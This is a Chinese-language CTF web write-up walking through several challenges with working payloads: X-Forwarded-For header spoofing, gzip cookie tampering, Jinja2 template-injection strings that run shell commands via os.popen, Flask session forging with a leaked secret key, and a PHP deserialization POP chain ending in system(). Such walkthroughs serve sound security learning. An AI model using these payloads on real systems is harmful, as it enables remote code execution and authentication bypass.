n3ctf_web_wp
00-F12
签到,F12看js源码,查找flag就可以找到了
01-headers
(赛后复现的 打出来之后真的觉得自己还是太菜了
这道题存在信息泄露,简单的robots.txt
(哎
然后进入ydswantmanygfs.php
,直接说You are not from yoshino-s.online
,那么直接抓包吧
可以在头信息中发现一个hint: How to get remote ip
先试着用XFF传yoshino-s.online
,但是页面没有改变,那么说明现在就要利用hint,remote ip也就是发出请求的主机ip,那么ping一下吧
XFF换成47.116.142.11
就可以得到flag了
02-cookies
玩了一会之后可以发现cookie里面有score的值
可以直接拿去解码,这里的%3d
是=
,所以可以先猜测是base64
Gunzip解密之后就是我们原本的成绩了
直接百度,可以知道加密方式是Gzip
那么就直接用301一步一步加密回去,在score.php界面抓包,修改一下session就好了
payloao:
1 | H4sIAGWo6WEA/wXAAQkAAADCsEoe+3cbXwAStPRXAwAAAA== |
04-template
没有任何过滤的模板注入
jinjia
直接打payload就好了,这里选择catch_warnings
,直接写个脚本找吧,实在不行一个一个数
payload:
1 | {{''.__class__.__bases__[0].__subclasses__()[213].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} |
05-php
陇原战役的题目,但是被改过了,直接看hint的phpinfo就可以找到flag
payload:
1 | C:4:"Hint":0:{} |
Ezhttpd
简单的代码审计
就以刚看到这道题的时候的顺序,我们一个一个文件审计:
0x01:index.php
1 |
|
包含 evil.php
,实例化Temp
类,post传值,get传filename到display函数中
0x02:evil.php
// 重点!! 看完还是对方法有困惑的可以百度 “php魔术方法” 甚至可以去自学面向对象
1.这里主要就是Temp
类,查看逐个方法
1 | public function __construct($data){ |
__construct
构造方法,在实例化类的时候自动调用,也就是我们在index.php利用post传的值就是这里$data的值;
array_merge
合并两个数组;
2.getTempName
1 | public function getTempName($template,$dir){ |
传入相应参数,要求$dir==='admin'
并修改$this->template
的值;
str_replace
字符串替换函数;
3.display
1 | public function display($template,$space=''){ |
extract
对$this->data
的值进行变量覆盖:
之后调用getTempName
方法,这里我们会把display默认的参数$space
再次传入getTemlName
,别忘了我们之前审计的代码中要求传入的第二个参数要为admin
,所以我们这里也要实现对space的修改,而由于有变量覆盖,所以我们可以利用post传sapce为admin,从而使得space进入$this->date
,实现在变量覆盖的时候而方法中对$this->template
进行了修改,并在最后包含$this->template
表示的文件
4.listdata
这个方法东西有点多,我就把最主要的拿出来吧
1 | $params = explode(' ', $_params); |
explode
将$_params
以空格进行分割并返回数组形式,使得之后的遍历和赋值得以实现(自己去看源码理解
接下去第一段,判断$param['name']
是否为定义并且是否为函数;
第二段,判断$force
是否定义,若已定义那么再遍历$param
并判断是否存在param
键值,若存在那么就给$p
赋值,若$p
被赋值那么进入下面的if,利用call_user_func_array
函数执行$param['name']
函数,而$p
的值则为该函数的参数
0x03:admin/index.htmk
发现三行php代码,看这三个变量$img $version $mod
,前面两个是不是很眼熟,正式Temp
类中date
数组里面的,而经过变量覆盖之后我们可以调用,那么这里的$mod
不是原数组里面的,那么说明我们可以通过post传参从而实现调用$mod
,然后进入listdata方法,绕过一个个if语句到最后的call_user_func_array($param['name'], $p)
进行代码执行
1 | <img src="<?php echo $img;?>"> |
0x04:解题+总结
现在代码都走一遍了,但是要怎么调用call_user_func_array
,还是有点迷惑,这里重点在于explode
函数,因为他会将我们传入的mod
通过空格分隔出来,就比如源代码是action=list module=$mod
,最后就会被分成action=list
和module=$mod
,那么如果我们$mod
传入的时候就会自带空格呢,直接举个例子吧:
1 | $a = 'a'; |
1 | $a = 'a action=function name=1'; |
清晰明了,因为在遍历中会出现两次action
,那么前面的list肯定就会被后面的function给覆盖了呀,那么应该都懂了最后我们$mod
的构造方法了吧,那之后只要根据代码构造我们想要的东西就好了
payload:
(为什么要用%09呢,dddd
1 | get: |
EasyPython
flask session伪造 + 简单的模板注入
既然题目说是python,那么直接试着在filename上查看app,py
,可以直接得到源码
0x01:
存在secret_key app.config['SECRET_KEY']=secret.SECRET_KEY
,而SECRET_KEY取值于在secret.py文件中
0x02:/source
1 |
|
1.get方式传filename并对其内容进行进行判断,以.py
为结尾、包含flag or ..
则返回当前文件的内容
2.base64.b64encode(open(filename,'rb').read()).decode()
实现读取文件的源码
现在我们已知SECRET_KEY
在secret文件中,并且还可以通过代码得到源码,所以我们要先绕过第一个if并且读取出secret.py文件里面的内容
hint: __pycache__
(自行百度吧
百度之后并测试之后可以得到文件的路径是
payload1:
1 | filename=./__pycache__/secret.cpython-35.pyc (这里的35是python的版本,因为本地测试的时候39,但题目的python版本的3.5 |
然后就可以得到源码,解密得到Secret-Key
0x03:/ssti
1 |
|
1.这里只有一个点就是info["admin"]=="admin"
,等式成功之后就会导致render_template_string(data)
,对data的值进行渲染造成模板注入
注意这里的info的值来自于session,那么直接查看session是什么样的。可以发现session被分成了三段,再根据题目flask,可以大胆猜测是flask session伪造(主要是之前做过同类型题目
既然前面已经拿到SECRET_KEY
了,那么就直接用工具加密,然后修改session,传data进行模板注入
payload2:
1 | session:eyJpbmZvIjp7ImFkbWluIjoiYWRtaW4ifX0.YaN-KQ.tuTHvwPH5IxVm0ct06b9d8F1iZc |
payload3:
1 | data={{''.__class__.__bases__[0].__subclasses__()[375].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} |
Ezunser
反序列化未定义的类
直接给了源码:
index.php
1 |
|
0x01:
先审计index.php
第一个点在于spl_autoload_register
,当调用index.php
中没有定义的类的时候就会自动调用myAutoloader($classname)
,其中$classname
就是我们想实例化的类
想当然地我们想调用EvilClass.php
里面的类,所以要include EvilClass.php
,但是文件里还是没有定义EvilClass
,这里就涉及到一个[php反序列的冷知识](PHP序列化冷知识 - 知乎 (zhihu.com))
我们还发现之后的if判断语句中ban掉了Evil
,这就说明在序列化之后的字符串中不能再出现EvilClass
,不过可以直接拿里面的payload
所以payload1:
1 | a:1:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:9:"EvilClass":0:{}}} |
EvilClass.php
1 |
|
0x02:
之后就是开始利用EvilClass.php
了
前面到A的pop链比较简单:
1.从__destruct
出发,利用die返回字符串调用__toString
2.然后在C中实例化D,调用read方法
3.D中实例化F,调用__call
魔术方法
4.F中实例化E,调用__invoke
魔术方法,再实例化A进去see方法
之后的重点就是see
了
1 | public function see() |
0x03:
这里卡了两次
1.从第一个if里面可以知道$this->b
实例化的类不能是EvilClass.php
文件中存在的类,所以现在只能利用原生类了,利用脚本找原生类的时候总是过不去,要么说未定义要么直接bad request
,后来出了hint >> stdClass
,这样第一个if和第二个if过了
2.第三个if进行正则匹配,一开始又试了半天,最后可以发现我们构造的payload的形式可以是:
1 | $func=var_dump('');system // 如果想在var_dump里面执行命令的话,直接用反引号就可以的 var_dump(`ls`); |
(之后给的那个干货好像没用过
exp:
1 |
|
将结果和payload1合在一起:
payload:
1 | a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:9:"EvilClass":0:{}}i:1;O:1:"E":2:{s:1:"a";O:1:"C":2:{s:1:"a";O:1:"D":2:{s:1:"a";N;s:1:"b";O:1:"F":2:{s:1:"a";N;s:1:"b";O:1:"E":2:{s:1:"a";s:0:"";s:1:"b";O:1:"A":2:{s:1:"a";N;s:1:"b";O:8:"stdClass":2:{s:1:"a";s:21:"var_dump(`ls`);system";s:1:"b";s:4:"ls /";}}}}}s:1:"b";N;}s:1:"b";s:0:"";}} |
之后再利用readflag读取就好了